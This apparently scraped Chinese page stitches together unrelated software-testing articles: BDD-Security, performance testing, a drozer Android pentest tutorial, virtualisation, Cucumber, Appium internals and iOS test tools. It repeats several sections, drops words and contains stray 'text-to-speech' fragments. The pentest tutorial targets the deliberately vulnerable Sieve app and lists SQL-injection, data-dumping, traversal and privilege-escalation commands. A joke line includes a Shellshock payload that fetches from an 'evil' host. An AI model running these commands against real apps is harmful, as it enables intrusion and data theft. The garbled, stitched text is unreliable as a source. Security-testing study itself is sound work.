2014年12月23日
continuumsecurity创始人stephen de vries,在velocity europe 2014大会上提出了持续且可视化的的观点。stephen表示,那些在开发过程中用于将qa嵌入整个开发流程的方法和工具都能同样的用于安全测试。bdd-security是一个基于jbehave,且遵循given-when-then方法的安全测试框架。
传统的安全测试都遵循瀑布流程,也就是说安全团队总是在开发阶段的末期才参与进来,并且通常需要外部专家的帮助。在整个开发流程中,渗透测试总是被安排到很晚才做,使得为应用做安全防范的任务尤其困难且复杂。stephen认为安全测试完全可以变得像qa一样:每个人都对安全问题负责;安全问题可以在更接近代码的层面考虑;安全测试完全可以嵌入一个持续集成的开发过程中。
为了论证qa和安全测试只有量的区别而没有质的区别,stephen展示了c. maartmann-moe和bill sempf分别发布的推特:
从qa的角度:
qa工程师走进一家酒吧,点了一杯啤酒;点了0杯啤酒;点了999999999杯啤酒;点了一只蜥蜴;点了-1杯啤酒;点了一个sfdeljknesv。
从安全的角度:
渗透测试工程师走进一家酒吧,点了一杯啤酒;点了”>杯啤酒;点了’or 1=1-杯啤酒;点了() { :; }; wget -o /beers http://evil; /杯啤酒。 要将安全测试集成进敏捷开发流程中,首先需要满足的条件是:可见性,以便采取及时应对措施并修补;可测试性,以便于自动化,比仅仅简单的扫描更有价值。stephen发现bdd工具族就同时满足了可见性及可测试性,因此他开始着手构建bdd-security安全测试框架。
由于bdd-security是基于jbehave构建的,因此它使用bdd的标准说明语言gherkin。一个bdd-security测试场景如下:
scenario: transmit authentication credentials over https
meta: @id auth_https
given the browser is configured to use an intercepting proxy
and the proxy logs are cleared
and the default user logs in with credentials from: users.table
and the http request-response containing the default credentials is inspected
then the protocol should be https
bdd-security用户故事的编写与通常做法不太一样。bdd-security说明页面上写着:
本框架的架构设计使得安全用例故事与应用的特定导航逻辑相互独立,这意味着同一个用户故事仅需要做微小的改动就能用在多个应用中,有时甚至无需修改。
这也说明bdd-security框架认为对许多应用来说,有一系列安全需求都是普遍要满足的。也就是说你只需写代码把已有的故事插入你的应用——也就是导航逻辑中即可。当然,必要的时候你也完全可以编写自己的用户故事。
bdd-security依赖于第三方安全测试工具来执行具体的安全相关的行为,例如应用扫描。这些工具有owasp zap或nessus等。
stephen还提到其它一些有类似功能的工具。如zap-webdriver就是一款更简单的工具,不喜欢bdd方式的人可以考虑采用它。gauntlt与bdd-security框架类似,同样支持bdd,只是它使用的编程语言是。mittn用编写并且同样也使用gherkin。
随着浏览器功能的不断完善,用户量不断的攀升,涉及到服务的功能在不断的增加,对于我们来说,我们不仅要保证服务端功能的正确性,也要验证服务端程序的性能是否符合要求。那么都要做些什么呢?我们该怎样进行性能测试呢?
性能测试一般会围绕以下这些问题而进行:
1. 什么情况下需要做性能测试?
2. 什么时候做性能测试?
3. 做性能测试需要准备哪些内容?
4. 什么样的性能指标是符合要求的?
5. 性能测试需要收集的数据有哪些?
6. 怎样收集这些数据?
7. 如何分析收集到的数据?
8. 如何给出性能测试报告?
性能测试的执行过程及要做的事儿主要包含以下内容:
1. 测试评估阶段
在这个阶段,我们要评估被测的产品是否要进行性能测试,并且对目前的服务器环境进行粗估,服务的性能是否满足条件。
首先要明确只要涉及到准备上线的服务端产品,就需要进行性能测试。其次如果产品需求中明确提到了性能指标,那也必须要做性能测试。
测试人员在进行性能测试前,需要根据当前的收集到的各种信息,预先做性能的评估,收集的内容主要包括带宽、请求包大小、并发用户数和当前web服务的带宽等
2. 测试准备阶段
在这个阶段,我们要了解以下内容:
a. 服务器的架构是什么样的,例如:web服务器是什么?是如何配置的?用的是什么?服务用的是什么语言编写的?;
b. 服务端功能的内部逻辑实现;
c. 服务端与数据库是如何交互的,例如:数据库的表结构是什么样的?服务端功能是怎样操作数据库的?
d. 服务端与客户端之间是如何进行交互的,即接口定义;
通过收集以上信息,测试人员整理出服务器端各模块之间的交互图,客户端与服务端之间的交互图以及服务端内部功能逻辑实现的流程图。
e. 该服务上线后的用户量预估是多少,如果无法评估出用户量,那么可以通过设计测试执行的场景得出这个值;
f. 上线要部署到多少台机器上,每台机器的负载均衡是如何设计的,每台机器的配置什么样的,网络环境是什么样的。
g. 了解测试环境与线上环境的不同,例如网络环境、硬件配置等
h. 制定测试执行的策略,是需要验证需求中的指标能否达到,还是评估系统的最大处理能力。
i. 沟通上线的指标
通过收集以上信息,确定性能该如何设计,如何设计性能测试用例执行的场景,以及上线指标的评估。
3. 测试设计阶段
根据测试人员通过之前整理的交互图和流程图,设计相应的性能测试用例。性能测试用例主要分为预期目标用户测试,用户并发测试,疲劳强度与大数量测试,网络性能测试,服务器性能测试,具体编写的测试用例要更具实际情况进行裁减。
用例编写的步骤大致分为:
a. 通过脚本模拟单一用户是如何使用这个web服务的。这里模拟的可以是用户使用web服务的某一个动作或某几个动作,某一个功能或几个功能,也可以是使用web服务的整个过程。
b. 根据客户端的实际情况和服务器端的策略,通过将脚本中可变的数据进行参数化,来模拟多个用户的操作。
c. 验证参数化后脚本功能的正确性。
d. 添加检查点
e. 设计脚本执行的策略,如每个功能的执行次数,各个功能的执行顺序等
4. 测试执行阶段
根据客户端的产品行为设计web服务的测试执行场景及测试执行的过程,即测试执行期间发生的事儿。通过监控程序收集web服务的性能数据和web服务所在系统的性能数据。
在测试执行过程中,还要不断的关注以下内容:
a. web服务的连接速度如何?
b. 每秒的点击数如何?
c. web服务能允许多少个用户同时在线?
d. 如果超过了这个数量,会出现什么现象?
e. web服务能否处理大量用户对同一个页面的请求?
f. 如果web服务崩溃,是否会自动恢复?
g. 系统能否同一时间响应大量用户的请求?
h. 打压机的系统负载状态。
5. 测试分析阶段
将收集到的数据制成图表,查看各指标的性能变化曲线,结合之前确定的上线指标,对各项数据进行分析,已确定是否继续对web服务进行测试,结果是否达到了期望值。
6. 测试验证阶段
在开发针对发现的性能问题进行修复后,要再执行性能测试的用例对问题进行验证。这里需要关注的是开发在解决问题的同时可能无意中修改了某些功能,所以在验证性能的同时,也要关注原有功能是否受到了影响
一、安装与启动
1. 安装
第一步:从http://mwr.to/drozer下载drozer ( installer)
第二步:在设备中安装agent.apk
adb install agent.apk
2. 启动
第一步:在pc上使用adb进行端口转发,转发到drozer使用的端口31415
adb forward tcp:31415 tcp:31415
第二步:在android设备上开启drozer agent
选择embedded server-enable
第三步:在pc上开启drozer console
drozer console connect
二、步骤
1.获取包名
dz> run app.package.list -f sieve
com.mwr.example.sieve
2.获取应用的基本信息
run app.package.info -a com.mwr.example.sieve
3.确定攻击面
run app.package.attacksurface com.mwr.example.sieve
4.activity
(1)获取activity信息
run app.activity.info -a com.mwr.example.sieve
(2)启动activity
run app.activity.start --component com.mwr.example.sieve
dz> help app.activity.start
usage: run app.activity.start [-h] [--action action] [--category category]
[--component package component] [--data-uri data_uri]
[--extra type key value] [--flags flags [flags ...]]
[--mimetype mimetype]
5.content provider
(1)获取content provider信息
run app.provider.info -a com.mwr.example.sieve
(2)content providers(数据泄露)
先获取所有可以访问的uri:
run scanner.provider.finduris -a com.mwr.example.sieve
获取各个uri的数据:
run app.provider.query
content://com.mwr.example.sieve.dbcontentprovider/passwords/ --vertical
查询到数据说明存在漏洞
(3)content providers(注入)
run app.provider.query content://com.mwr.example.sieve.dbcontentprovider/passwords/ --projection "'"
run app.provider.query content://com.mwr.example.sieve.dbcontentprovider/passwords/ --selection "'"
报错则说明存在sql注入。
列出所有表:
run app.provider.query content://com.mwr.example.sieve.dbcontentprovider/passwords/ --projection "* from sqlite_master where type='table';--"
获取某个表(如key)中的数据:
run app.provider.query content://com.mwr.example.sieve.dbcontentprovider/passwords/ --projection "* from key;--"
(4)同时检测sql注入和目录遍历
run scanner.provider.injection -a com.mwr.example.sieve
run scanner.provider.traversal -a com.mwr.example.sieve
6 intent组件触发(拒绝服务、权限提升)
利用intent对组件的触发一般有两类漏洞,一类是拒绝服务,一类的权限提升。拒绝服务危害性比较低,更多的只是影响应用服务质量;而权限提升将使得没有该权限的应用可以通过intent触发拥有该权限的应用,从而帮助其完成越权行为。
1.查看暴露的广播组件信息:
run app.broadcast.info -a com.package.name 获取broadcast receivers信息
run app.broadcast.send --component 包名 --action android.intent.action.xxx
2.尝试拒绝服务攻击检测,向广播组件发送不完整intent(空action或空extras):
run app.broadcast.send 通过intent发送broadcast receiver
(1) 空action
run app.broadcast.send --component 包名 receivername
run app.broadcast.send --component 包名 receivername
(2) 空extras
run app.broadcast.send --action android.intent.action.xxx
3.尝试权限提升
权限提升其实和拒绝服务很类似,只不过目的变成构造更为完整、更能满足程序逻辑的intent。由于activity一般多于用户交互有关,所以基 于intent的权限提升更多针对broadcast receiver和service。与drozer相关的权限提升工具,可以参考intentfuzzer,其结合了drozer以及hook技术,采用 feedback策略进行fuzzing。以下仅仅列举drozer发送intent的命令:
(1)获取service详情
run app.service.info -a com.mwr.example.sieve
不使用drozer启动service
am startservice –n 包名/service名
(2)权限提升
run app.service.start --action com.test.vulnerability.send_sms --extra string dest 11111 --extra string text 1111 --extra string op send_sms
7.文件操作
列出指定文件路径里全局可写/可读的文件
run scanner.misc.writablefiles --privileged /data/data/com.sina.weibo
run scanner.misc.readablefiles --privileged /data/data/com.sina.weibo
run app.broadcast.send --component 包名 --action android.intent.action.xxx
8.其它模块
shell.start 在设备上开启一个交互shell
tools.file.upload / tools.file.download 上传/下载文件到设备
tools.setup.busybox / tools.setup.minimalsu 安装可用的二进制文件
关于服务器虚拟化的概念,业界有不同的定义,但其核心是一致的,即它是一种方法,能够在整合多个应用服务的同时,通过区分应用服务的优先次序将服务器资源分配给最需要它们的负载来简化管理和提高效率。其主要功能包括以下四个方面:
集成整合功能。虚拟化服务器主要是由物理服务器和虚拟化程序构成的,通过把一台物理服务器划分为多个虚拟机,或者把若干个分散的物理服务器虚拟为一个整体逻辑服务器,从而将多个和应用服务整合到强大的虚拟化架构上。
动态迁移功能。这里所说的动态迁移主要是指v2v(虚拟机到虚拟机的迁移)技术。具体来讲,当某一个服务器因故障停机时,其承载的虚拟机可以自动切换到另一台虚拟服务器,而在整个过程中应用服务不会中断,实现系统零宕机在线迁移。
资源分配功能。虚拟化架构技术中引入了动态资源调度技术,系统将所有虚拟服务器作为一个整体资源统一进行管理,并按实际需求自动进行动态资源调配,在保证系统稳定运行的前提下,实现资源利用最大化。
强大的管理控制界面。通过可视化界面实时监控物理服务器以及各虚拟机的运行情况,实现对全部虚拟资源的管理、维护及部署等操作。
服务器虚拟化的益处
采用服务器虚拟化技术的益处主要表现在以下几个方面。
节省采购费用。通过虚拟化技术对应用服务器进行整合,可以大幅缩减企业在采购环节的开支,在硬件环节可以为企业节省34%~80%的采购成本。
同时,还可以节省软件采购费用。软件许可成本是企业不可忽视的重要支出。而随着、红帽等软件巨头的加入,虚拟化架构技术在软件成本上的优势也逐渐得以体现。
降低系统运行维护成本。由于虚拟化在整合服务器的同时采用了更为出色的管理工具,减少了管理维护人员在网络、线路、软硬件维护方面的工作量,信息部门得以从传统的维护管理工作中解放出来,将更多的时间和精力用于推动创新工作和业务增长等活动,这也为企业带来了利益。
通过虚拟化技术可以减少物理服务器的数量,这就意味着企业机房耗电量、散热量的降低,同时还为企业节省了空调、机房配套设备的改造升级费用。
提高资源利用率。保障业务系统的快速部署是信息化工作的一项重要指标,而传统模式中服务器的采购安装周期较长,一定程度上限制了系统部署效率。利用虚拟化技术,可以快速搭建虚拟系统平台,大幅缩减部署筹备时间,提高工作效率。
由于虚拟化服务器具有动态资源分配功能,因此当一台虚拟机的应用负载趋于饱和时,系统会根据之前定义的分配规则自动进行资源调配。根据大部分虚拟化技术厂商提供的数据指标来看,通过虚拟化整合服务器后,资源平均利用率可以从5%~15%提高到60%~80%。
提高系统的安全性。传统服务器硬件维护通常需要数天的筹备期和数小时的维护窗口期。而在虚拟化架构技术环境下,服务器迁移只需要几秒钟的时间。由于迁移过程中服务没有中断,管理员无须申请系统停机,在降低管理维护工作量的同时,提高系统运行连续性。
目前虚拟化主流技术厂商均在其虚拟化平台中引入数据快照以及虚拟存储等安全机制,因此在数据安全等级和系统容灾能力方面,较原有单机运行模式有了较大提高。
目前 我司正在应用aws 确实很不错,节省成本 服务稳定,比什么阿里云 强了不知道多少倍
1.测试用例 :分有基本流和备选流。
2.要先确定用例描述,再在测试用例 实施矩阵中确定相应的测试用例数据。
3.从补充规约中生成测试用例
(1)为生成测试用例
(2)为安全性/访问控制测试生成测试用例
关键:先指定执行用例的主角
(3)为配置测试生成测试用例
主要是为了核实测试目标在不同的配置情况下(如不同的os,browser,cpu速度等)是否能正常 地 或执行。
针对第个关键配置,每个可能有问题的配置都至少应该有一个测试用例。
(4)为安装测试生成测试用例
a.需要对以下各种安装情况设计测试用例:
分发介质(如磁盘,cd-rom和文件服务器)
首次安装
完全安装
自定义安装
升级安装
b.测试目标应包括所有构件的安装
客户机,中间层,服务器
(5)为其他非功能性测试生成测试用例
如操作测试,对性能瓶颈,系统容量或测试目标的强度承受能力进行调查的测试用例
4.在及的同时都应该进行可靠性测试。
5.为产品验收测试生成测试用例
6.为回归测试编制测试用例
a.回归测试是比较同一测试目标的两个版本或版本,并将将差异确定为潜在的缺陷。
b.为使测试用例发挥回归测试和复用的价值,同时将维护成本减至最低,应:
确保测试用例只确定关键的数据元素(创建/支持被测试的条件支持的测上试用例)
确保每个测试用例都说明或代表一个唯一的输入集或事件序列,其结果是独特的测试目标行为
消除多余或等效的测试用例
将具有相同的测试目标初始状态和测试数据状态的测试用例组合在一起
cucumber是ruby世界的bdd框架,开发人员主要与两类文件打交到,feature文件和相应的step文件。feature文件是以feature为后缀名的文件,以given-when-then的方式描述了系统的场景(scenarios)行为;step文件为普通的ruby文件,feature文件中的每个given/when/then步骤在step文件中都有对应的ruby执行代码,两类文件通过正则表达式相关联。笔者在用cucumber watir做回归测试时对cucumber工程的目录结构执行过程进行了研究。
安装好cucumber后,如果在终端直接执行cucumber命令,得到以下输出:
输出结果表明:cucumber期待当前目录下存在名为features的子目录。建好features文件夹后,重新执行cucumber命令,输出如下:
cucumber运行成功,但由于features文件夹下没有任何内容,故得到上述输出结果。
网上大多数关于cucumber的教程都建议采用以下目录结构,所有的文件(夹)都位于features文件夹下。
feature文件(如test.feature)直接位于features文件夹下,可以为每个应用场景创建一个feature文件;与feature文件对应的step文件(如test.rb)位于step_definitions子文件夹下;同时,存在support子文件夹,其下的env.rb文件为环境配置文件。在这样的目录结构条件下执行cucumber命令,会首先执行env.rb做前期准备工作,比如可以用watir新建浏览器窗口,然后cucumber将test.rb文件读入内存,最后执行test.feature文件,当遇到given/when/then步骤时,cucumber将在test.rb中搜索是否有相应的step,如果有,则执行相应的ruby代码。
这样的目录结构只是推荐的目录结构,笔者通过反复的试验得出了以下结论:对于cucumber而言,除了顶层的features文件夹是强制性的之外,其它目录结构都不是强制性的,cucumber将对features文件夹下的所有内容进行扁平化(flatten)处理和首字母排序。具体来说,cucumber在运行时,首先将递归的执行features文件夹下的所有ruby文件(其中则包括step文件),然后通过相同的方式执行feature文件。但是,如果features文件夹下存在support子文件夹,并且support下有名为env.rb的文件,cucumber将首先执行该文件,然后执行support下的其它文件,再递归执行featues下的其它文件。
比如有如下cucumber目录结构:
为了方便记录cucumber运行时的文件执行顺序,在features文件夹下的所有ruby文件中加上以下代码:
puts file.basename(__file__)
此行代码的作用是在一个ruby文件执行时输出该文件的名字,此时执行cucumber命令,得到以下输出(部分)结果:
上图即为ruby文件的执行顺序,可以看出,support文件夹下env.rb文件首先被执行,其次按照字母排序执行c.rb和d.rb;接下来,cucumber将features文件夹下的所用文件(夹)扁平化,并按字母顺序排序,从而先执行a.rb和b.rb,而由于other文件夹排在step_definitions文件夹的前面,所以先执行other文件夹下的ruby文件(也是按字母顺序执行:先f.rb,然后g.rb),最后执行step_definitions下的e.rb。
当执行完所有ruby文件后,cucumber开始依次读取feature文件,执行顺序也和前述一样,即: a.feature --> b.feature --> c.feature
笔者还发现,这些ruby文件甚至可以位于features文件夹之外的任何地方,只是需要在位于features文件夹之内的ruby文件中require一下,比如在env.rb中。
: : :
text-to-speech function is limited to 100 characters
androidelementhash的这个getelement命令要做的事情就是针对这两点来根据不同情况获得目标控件
/** * return an elements child given the key (context id), or uses the selector * to get the element. * * @param sel * @param key * element id. * @return {@link androidelement} * @throws elementnotfoundexception */ public androidelement getelement(final uiselector sel, final string key) throws elementnotfoundexception { androidelement baseel; baseel = elements.get(key); uiobject el; if (baseel == null) { el = new uiobject(sel); } else { try { el = baseel.getchild(sel); } catch (final uiobjectnotfoundexception e) { throw new elementnotfoundexception(); } } if (el.exists()) { return addelement(el); } else { throw new elementnotfoundexception(); } } |
如果是第1种情况就直接通过选择子构建uiobject对象,然后通过addelement把uiobject对象转换成androidelement对象保存到控件哈希表
如果是第2种情况就先根据appium传过来的控件哈希表键值获得父控件,再通过子控件的选择子在父控件的基础上查找到目标uiobject控件,最后跟上面一样把该控件通过上面的addelement把uiobject控件转换成androidelement控件对象保存到控件哈希表
4. 求证
上面有提过,如果pc端的脚本执行对同一个控件的两次findelement会创建两个不同id的androidelement并存放到控件哈希表中,那么为什么appium的团队没有做一个增强,增加一个keymap的方法(算法)和一些额外的信息来让同一个控件使用不同的key的时候对应的还是同一个androidelement控件呢?毕竟这才是哈希表实用的特性之一了,不然你直接用一个dictionary不就完事了?网上说了几点hashtable和dictionary的差别,如多线程环境最好使用哈希表而非字典等,但在bootstrap这个控件哈希表的情况下我不是很信服这些说法,有谁清楚的还劳烦指点一二了
这里至于为什么appium不去提供额外的key信息并且实现keymap算法,我个人倒是认为有如下原因:
有谁这么无聊在同一个测试方法中对同一个控件查找两次?
如果同一个控件运用不同的选择子查找两次的话,因为最终底层的uiobject的成员变量uiselector mselector不一样,所以确实可以认为是不同的控件
但以下两个如果用同样的uiselector选择子来查找控件的情况我就解析不了了,毕竟在我看来bootstrap这边应该把它们看成是同一个对象的:
同一个脚本不同的方法中分别对同一控件用同样的uiselelctor选择子进行查找呢?
不同脚本中呢?
这些也许在今后深入了解中得到解决,但看家如果知道的,还望不吝赐教
5. 小结
最后我们对bootstrap的控件相关知识点做一个总结
androidelement的一个实例代表了一个bootstrap的控件
androidelement控件的成员变量uiobject el代表了uiautomator框架中的一个真实窗口控件,通过它就可以直接透过uiautomator框架对控件进行实质性操作
pc端的webelement元素和bootstrap的androidelement控件是通过androidelement控件的string id进行映射关联的
androidelementhash类维护了一个以androidelement的id为键值,以androidelement的实例为value的全局唯一哈希表,pc端想要获得一个控件的时候会先从这个哈希表查找,如果没有了再创建新的androidelement控件并加入到该哈希表中,所以该哈希表中维护的是一个当前已经使用过的控件
相关文章:
appium android bootstrap源码分析之简介
通过上一篇《 源码分析之简介》我们对bootstrap的定义以及其在appium和uiautomator处于一个什么样的位置有了一个初步的了解,那么按照正常的写书的思路,下一个章节应该就要去看bootstrap是如何建立socket来获取数据然后怎样进行处理的了。但本人觉得这样子做并不会太好,因为到时整篇文章会变得非常的冗长,因为你在编写的过程中碰到不认识的类又要跳入进去进行说明分析。这里我觉得应该尝试吸取著名的《重构》这本书的建议:一个方法的代码不要写得太长,不然可读性会很差,尽量把其分解成不同的函数。那我们这里就是用类似的思想,不要尝试在一个文章中把所有的事情都做完,而是尝试先把关键的类给描述清楚,最后才去把这些类通过一个实例分析给串起来呈现给读者,这样大家就不会因为一个文章太长影响可读性而放弃往下了。
那么我们这里为什么先说bootstrap对控件的处理,而非刚才提到的socket相关的socket服务器的建立呢?我是这样子看待的,大家看到本人这篇文章的时候,很有可能之前已经了解过本人针对uiautomator源码分析那个系列的文章了,或者已经有uiautomator的相关知识,所以脑袋里会比较迫切的想知道究竟appium是怎么运用了uiautomator的,那么在appium中于这个问题最贴切的就是appium在服务器端是怎么使用了uiautomator的控件的。
这里我们主要会分析两个类:
:代表了bootstrap持有的一个ui界面的控件的类,它拥有一个uiobject成员对象和一个代表其在下面的哈希表的键值的string类型成员变量id
androidelementshash:持有了一个包含所有bootstrap(也就是appium)曾经见到过的(也就是脚本代码中findelement方法找到过的)控件的哈希表,它的key就是androidelement中的id,每当appium通过findelement找到一个新控件这个id就会+1,appium的pc端和bootstrap端都会持有这个控件的id键值,当需要调用一个控件的方法时就需要把代表这个控件的id键值传过来让bootstrap可以从这个哈希表找到对应的控件
1. androidelement和uiobject的组合关系
从上面的描述我们可以知道,androidelement这个类里面拥有一个uiobject这个变量:
public class androidelement {
private final uiobject el;
private string id;
...
}
大家都知道uiobject其实就是uiautomator里面代表一个控件的类,通过它就能够对控件进行操作(当然最终还是通过uiautomation框架). anroidelement就是通过它来跟uiautomator发生关系的。我们可以看到下面的androidelement的点击click方法其实就是很干脆的调用了uiobject的click方法:
public boolean click() throws uiobjectnotfoundexception {
return el.click();
}
当然这里除了click还有很多控件相关的操作,比如dragto,gettext,longclick等,但无一例外,都是通过uiobject来实现的,这里就不一一列举了。
2. 脚本的webelement和bootstrap的androidelement的映射关系
我们在脚本上对控件的认识就是一个webelement:
webelement addnote = driver.findelementbyandroiduiautomator("new uiselector().text(\"add note\")");
而在bootstrap中一个对象就是一个androidelement. 那么它们是怎么映射到一起的呢?我们其实可以先看如下的代码:
webelement addnote = driver.findelementbyandroiduiautomator("new uiselector().text(\"add note\")");
addnote.gettext();
addnote.click();
做的事情就是获得notes这个app的菜单,然后调用控件的gettext来获得‘add note'控件的文本信息,以及通过控件的click方法来点击该控件。那么我们看下调试信息是怎样的:
: : :
text-to-speech function is limited to 100 characters
通过上一篇《 源码分析之控件androidelement》我们知道了appium从pc端发送过来的命令如果是控件相关的话,最终目标控件在bootstrap中是以androidelement对象的方式呈现出来的,并且该控件对象会在androidelementhash维护的控件哈希表中保存起来。但是appium触发一个命令除了需要提供是否与控件相关这个信息外,还需要其他的一些信息,比如,这个是什么命令?这个就是我们这篇文章需要讨论的话题了。
下面我们还是先看一下从pc端发过来的json的格式是怎么样的:
可以看到里面除了params指定的是哪一个控件之外,还指定了另外两个信息:
cmd: 这是一个action还是一个shutdown
action:如果是一个action的话,那么是什么action
开始前我们先简要描述下我们需要涉及到几个关键类:
: : :
text-to-speech function is limited to 100 characters
fliptest是专为ios设计的应用a/b测试框架,通过它,开发者可以无需重新向app store提交应用或重构代码,只需添加一行代码,即可直接在ios应用上进行a/b测试。对移动应用做 a/b 是非常难的,而 fliptest 可以帮你简化这个过程。
对于想要追求ui极致的开发者而言,fliptest绝对是最合适的。fliptest会为应用选择最恰当的用户界面,还会基于外观、可用性等众多因素返还测试结果,从而帮助开发者彻底解决ui问题。
: : :
text-to-speech function is limited to 100 characters
也是一款深受开发者喜爱的应用框架,该框架可以模拟用户操作对应用程序进行,并使用cucumber作为自然语言来编写。此外,frank还会对应用测试操作进行记录,以帮助开发者进行测试回顾。 一、基本介绍
frank是ios开发环境下一款实现自动测试的工具。
xcode环境下开发完成后,通过frank实现结构化的测试用例,其底层语言为。作为一款开源的ios测试工具,在国外已经有广泛的应用。但是国内相关资料却比较少。其最大的优点是允许我们用熟悉的自然语言实现实际的操作逻辑。
一般而言,测试文件由一个.feature文件和一个.rb文件组成。.feature文件包含的是测试操作的自然语言描述部分,内部可以包含多个测试用例,以标签(@tagname)的形式唯一标识,每个用例的首行必须有scenario: some description;.rb文件则是ruby实现逻辑,通过正则表达式匹配.feature文件中的每一句自然语言,然后执行相应的逻辑操作,最终实现自动测试的目的。
二、安装
1. terminal 输入sudo gem install frank-cucumber,下载并安装frank
2. terminal 进入工程所在路径,工程根目录
3. 输入:frank-skeleton,会在工程根目录新建frank文件夹
4. 返回xcode界面,右键targets下的app,选择复制,duplicate only
5. 双击appname copy,更改副本名,例如 appname frankified
6. 右击app,add files to appname……
7. 勾选副本,其余取消选定。选择新建的frank文件夹,add.
8. 选择app,中间部分build phases选项卡,link binary with librariesàcfnetwork.framework,add.
9. 依旧中间部分,选择build settings选项卡,other linker flags,双击,添加“-all_load”和“objc”
10. 左上角,scheme selector,在run和stop按钮的右边,选择appname copy-iphone
11. 浏览器中打开http://localhost:37265,可以在浏览器中看到植入frank的应用
我在添加了两个flag之后老是报错,尝试了n种方法之后索性全部删掉,结果就可以了,无语
三、基本步骤
1. terminal 切换到frank文件夹所在目录
2. frank launch, 打开simulator,开始运行(默认是用iphone simulator,要用ipad simulator时,需要如下命令行,添加参数:frank launch --idiom ipad)
3. cucumber frank/features/my_first.feature --tags @tagname (注意tags前面两个‘-’)ps:如果没有tag则自动运行文件中所有case
: : :
text-to-speech function is limited to 100 characters
是一个适用于ios开发的行为驱动开发(bdd)库,因其接口简单而高效,深受开发者的欢迎,也因此,成为了许多开发新手的首选平台。和大多数ios测试框架一样,kiwi使用objective-c语言编写,因此对于ios开发者而言,绝对称得上是最佳测试拍档。 示例代码:
describe(@"team", ^{ context(@"when newly created", ^{ it(@"should have a name", ^{ id team = [team team]; [[team.name should] equal:@"black hawks"]; }); it(@"should have 11 players", ^{ id team = [team team]; [[[team should] have:11] players]; }); }); }); |
: : :
text-to-speech function is limited to 100 characters
是来自以色列的应用服务商utest推出的一款测试产品。相比其他主流框架,appgrader可能并不太为开发者所熟知,但它却能够为众多的开发者提供非常专业的意见参考。
通过appgrader,开发者可以将自己所开发的应用与其他同类应用就图形、功能及其他方面进行比较,从而对应用进行改善。据悉,继appgrader for android之后,utest还将推出appgrader for ios。
: : :
text-to-speech function is limited to 100 characters
和kiwi一样,cedar也是一款bdd风格的objective-c测试框架。它不仅适用于ios和os x代码库,而且在其他环境下也可以使用。
kiwi、specta、expecta以及cedar都可以通过cocoapods添加到你的项目中。
: : :
text-to-speech function is limited to 100 characters
通过上一篇《 源码分析之简介》我们对bootstrap的定义以及其在appium和uiautomator处于一个什么样的位置有了一个初步的了解,那么按照正常的写书的思路,下一个章节应该就要去看bootstrap是如何建立socket来获取数据然后怎样进行处理的了。但本人觉得这样子做并不会太好,因为到时整篇文章会变得非常的冗长,因为你在编写的过程中碰到不认识的类又要跳入进去进行说明分析。这里我觉得应该尝试吸取著名的《重构》这本书的建议:一个方法的代码不要写得太长,不然可读性会很差,尽量把其分解成不同的函数。那我们这里就是用类似的思想,不要尝试在一个文章中把所有的事情都做完,而是尝试先把关键的类给描述清楚,最后才去把这些类通过一个实例分析给串起来呈现给读者,这样大家就不会因为一个文章太长影响可读性而放弃往下了。
那么我们这里为什么先说bootstrap对控件的处理,而非刚才提到的socket相关的socket服务器的建立呢?我是这样子看待的,大家看到本人这篇文章的时候,很有可能之前已经了解过本人针对uiautomator源码分析那个系列的文章了,或者已经有uiautomator的相关知识,所以脑袋里会比较迫切的想知道究竟appium是怎么运用了uiautomator的,那么在appium中于这个问题最贴切的就是appium在服务器端是怎么使用了uiautomator的控件的。
这里我们主要会分析两个类:
:代表了bootstrap持有的一个ui界面的控件的类,它拥有一个uiobject成员对象和一个代表其在下面的哈希表的键值的string类型成员变量id
androidelementshash:持有了一个包含所有bootstrap(也就是appium)曾经见到过的(也就是脚本代码中findelement方法找到过的)控件的哈希表,它的key就是androidelement中的id,每当appium通过findelement找到一个新控件这个id就会+1,appium的pc端和bootstrap端都会持有这个控件的id键值,当需要调用一个控件的方法时就需要把代表这个控件的id键值传过来让bootstrap可以从这个哈希表找到对应的控件
1. androidelement和uiobject的组合关系
从上面的描述我们可以知道,androidelement这个类里面拥有一个uiobject这个变量:
public class androidelement {
private final uiobject el;
private string id;
...
}
大家都知道uiobject其实就是uiautomator里面代表一个控件的类,通过它就能够对控件进行操作(当然最终还是通过uiautomation框架). anroidelement就是通过它来跟uiautomator发生关系的。我们可以看到下面的androidelement的点击click方法其实就是很干脆的调用了uiobject的click方法:
public boolean click() throws uiobjectnotfoundexception {
return el.click();
}
当然这里除了click还有很多控件相关的操作,比如dragto,gettext,longclick等,但无一例外,都是通过uiobject来实现的,这里就不一一列举了。
2. 脚本的webelement和bootstrap的androidelement的映射关系
我们在脚本上对控件的认识就是一个webelement:
webelement addnote = driver.findelementbyandroiduiautomator("new uiselector().text(\"add note\")");
而在bootstrap中一个对象就是一个androidelement. 那么它们是怎么映射到一起的呢?我们其实可以先看如下的代码:
webelement addnote = driver.findelementbyandroiduiautomator("new uiselector().text(\"add note\")");
addnote.gettext();
addnote.click();
做的事情就是获得notes这个app的菜单,然后调用控件的gettext来获得‘add note'控件的文本信息,以及通过控件的click方法来点击该控件。那么我们看下调试信息是怎样的:
androidelementhash的这个getelement命令要做的事情就是针对这两点来根据不同情况获得目标控件
/** * return an elements child given the key (context id), or uses the selector * to get the element. * * @param sel * @param key * element id. * @return {@link androidelement} * @throws elementnotfoundexception */ public androidelement getelement(final uiselector sel, final string key) throws elementnotfoundexception { androidelement baseel; baseel = elements.get(key); uiobject el; if (baseel == null) { el = new uiobject(sel); } else { try { el = baseel.getchild(sel); } catch (final uiobjectnotfoundexception e) { throw new elementnotfoundexception(); } } if (el.exists()) { return addelement(el); } else { throw new elementnotfoundexception(); } } |
如果是第1种情况就直接通过选择子构建uiobject对象,然后通过addelement把uiobject对象转换成androidelement对象保存到控件哈希表
如果是第2种情况就先根据appium传过来的控件哈希表键值获得父控件,再通过子控件的选择子在父控件的基础上查找到目标uiobject控件,最后跟上面一样把该控件通过上面的addelement把uiobject控件转换成androidelement控件对象保存到控件哈希表
4. 求证
上面有提过,如果pc端的脚本执行对同一个控件的两次findelement会创建两个不同id的androidelement并存放到控件哈希表中,那么为什么appium的团队没有做一个增强,增加一个keymap的方法(算法)和一些额外的信息来让同一个控件使用不同的key的时候对应的还是同一个androidelement控件呢?毕竟这才是哈希表实用的特性之一了,不然你直接用一个dictionary不就完事了?网上说了几点hashtable和dictionary的差别,如多线程环境最好使用哈希表而非字典等,但在bootstrap这个控件哈希表的情况下我不是很信服这些说法,有谁清楚的还劳烦指点一二了
这里至于为什么appium不去提供额外的key信息并且实现keymap算法,我个人倒是认为有如下原因:
有谁这么无聊在同一个测试方法中对同一个控件查找两次?
